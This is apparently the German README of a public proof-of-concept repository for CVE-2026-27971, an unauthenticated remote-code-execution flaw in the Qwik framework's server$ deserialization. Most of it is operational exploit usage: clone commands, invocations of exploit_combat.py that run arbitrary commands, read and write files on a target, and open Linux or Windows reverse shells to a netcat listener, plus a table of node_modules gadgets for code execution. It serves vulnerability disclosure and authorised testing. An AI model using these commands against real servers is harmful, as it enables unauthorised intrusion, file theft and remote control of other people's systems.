
CVE-2026-27971 qwik rce
server$ Nicht authentifizierter RCE-PoC[!WARNING] Dieses Repository enthält einen aktiven Proof-of-Concept für Remote-Code-Ausführung. Verwenden Sie ihn nur gegen Systeme, die Ihnen gehören oder für deren Test Sie ausdrücklich autorisiert sind. Der Autor übernimmt keine Verantwortung für unbefugte Nutzung oder Schäden.
Ein eigenständiger Python-Proof-of-Concept für CVE-2026-27971 / GHSA-p9x5-jp3h-96mm, eine nicht authentifizierte Remote-Code-Ausführungs-Schwachstelle im Qwik server$ RPC-Deserialisierungsmechanismus.
Der PoC kann eine aktive Marker-Probe durchführen, Befehle ausführen, Textdateien lesen oder schreiben und eine Reverse Shell auf Linux- oder Windows-Zielen anfordern. Es verwendet nur die Python-Standardbibliothek.
| Feld | Wert |
|---|---|
| Produkt | Qwik — npm-Paket @builder.io/qwik |
| Betroffene Versionen | <= 1.19.0 |
| Patch-Version | 1.19.1 |
| Schwachstelle | Nicht authentifizierte Remote-Code-Ausführung durch unsichere server$-Deserialisierung |
| Laufzeitbedingung | require() muss zur Laufzeit verfügbar sein |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Schweregrad | Kritisch — CVSS 4.0: 9.2 |
| Vector | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
Eine manipulierte application/qwik-json-Anfrage kann auf ein serverseitiges Modul und ein exportiertes Symbol verweisen. Anfällige Qwik-Versionen können eine nicht registrierte QRL durch Laufzeit-require() auflösen und ohne Authentifizierung aufrufen. Dieser PoC versucht, ein kompatibles Export für die Prozessausführung zu erreichen, das bereits im node_modules des Ziels vorhanden ist.
Betreiber:
server$/Qwik-JSON-Anfrage verarbeitet.Ziel:
@builder.io/qwik <= 1.19.0.require() verfügbar ist.node_modules zugegriffen werden kann.node im PATH des Dienstprozesses verfügbar.Es werden keine Python-Pakete von Drittanbietern benötigt.
git clone https://github.com/Ghalendar/CVE-2026-27971_POC.git
cd CVE-2026-27971_POC
python3 exploit_combat.py --help
Listet die eingebauten Gadgets ohne Senden einer Anfrage auf:
python3 exploit_combat.py --list-gadgets
Führen Sie eine aktive Marker-Probe durch und testen Sie jedes eingebaute Gadget:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --probe
[!IMPORTANT]
--probeist keine passive Versionserkennung. Es versucht eine Remote-Code-Ausführung und bestätigt sie durch Ausgabe eines Markers aus dem Zielprozess.
Führen Sie einen Befehl aus:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --CMD "node -p process.platform"
Lesen Sie eine UTF-8-Textdatei:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --read package.json
Schreiben und überprüfen Sie eine UTF-8-Textdatei:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --write qwik-poc.txt --content "authorized lab test"
Fordern Sie eine Reverse-Shell an, nachdem Sie einen persistenten Listener gestartet haben:
nc -lvnp 4444
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --lhost 10.10.10.1 --lport 4444 --callback
Erzwingen Sie das Windows-Reverse-Shell-Payload, wenn die automatische OS-Erkennung ungeeignet ist:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget auto --OS windows --lhost 10.10.10.1 --lport 4444
Das Skript startet keinen Listener. Der --callback-Vorprüf öffnet und schließt eine separate TCP-Verbindung, bevor das Shell-Payload gesendet wird, verwenden Sie daher einen Listener, der mehr als eine Verbindung akzeptieren kann.
| Option | Beschreibung |
|---|---|
-t URL, --target URL | Exakte Ziel-URL. Standard: http://localhost:3000. Die Route wird nicht automatisch ermittelt. |
--probe | Führt aktiv ein Marker-Payload aus und versucht eine Betriebssystemerkennung. |
-c CMD, --CMD CMD | Führt einen Befehl über Node.js child_process.execSync() aus. |
--read PATH | Liest eine UTF-8-Textdatei mit fs.readFileSync(). |
--write PATH --content TEXT | Schreibt eine Textdatei, liest sie zurück und vergleicht das Ergebnis. Übergeordnete Verzeichnisse werden nicht erstellt. |
--list-gadgets | Gibt die Namen der eingebauten Gadgets aus und beendet ohne Netzwerkanfrage. |
--lhost IP | Aktiviert den Reverse-Shell-Modus und setzt die Callback-Adresse. |
--lport PORT | Setzt den Callback-Port. Standard: 4444. |
--rev-all | Sendet jede Reverse-Shell-Variante anstatt nach der ersten akzeptierten HTTP-Anfrage zu stoppen. |
--callback | Testet die ausgehende TCP-Erreichbarkeit vor dem Senden eines Reverse-Shell-Payloads. |
--OS {auto,linux,windows} | Wählt die Reverse-Shell-Payload-Familie aus. Standard: auto. |
--gadget SPEC | Verwenden Sie auto, einen eingebauten Namen oder ein benutzerdefiniertes <module>#<symbol>. Standard: cross-spawn.sync. |
--arg-style {argv,command,shell} | Argumentstil für ein benutzerdefiniertes <module>#<symbol>-Gadget. |
--timeout SECONDS | Client-seitiger HTTP-Timeout. Standard: 30. |
--verify-ssl | Aktiviert die TLS-Zertifikats- und Hostnamen-Überprüfung. Die Überprüfung ist standardmäßig deaktiviert. |
Die Aktionsmodi schließen sich im Parser nicht gegenseitig aus. Verwenden Sie pro Aufruf einen von --probe, --CMD, --read, --write oder --lhost.
| Name | Modul und Export | Style |
|---|---|---|
cross-spawn.sync | ./node_modules/cross-spawn/index#sync | argv |
cross-spawn.index-js | ./node_modules/cross-spawn/index.js#sync | argv |
execa.sync | ./node_modules/execa/index#sync | argv |
execa.index-js.sync | ./node_modules/execa/index.js#sync | argv |
execa.commandSync | ./node_modules/execa/index#commandSync | command |
execa.index-js.commandSync | ./node_modules/execa/index.js#commandSync | command |
node-cmd.runSync | ./node_modules/node-cmd/cmd#runSync | shell |
node-cmd.cmd-js.runSync | ./node_modules/node-cmd/cmd.js#runSync | shell |
--gadget auto testet diese Gadgets in der aufgeführten Reihenfolge. Ein benutzerdefiniertes Gadget kann wie folgt angegeben werden:
python3 exploit_combat.py -t http://127.0.0.1:3000 --gadget "./node_modules/package/path#exportName" --arg-style argv --probe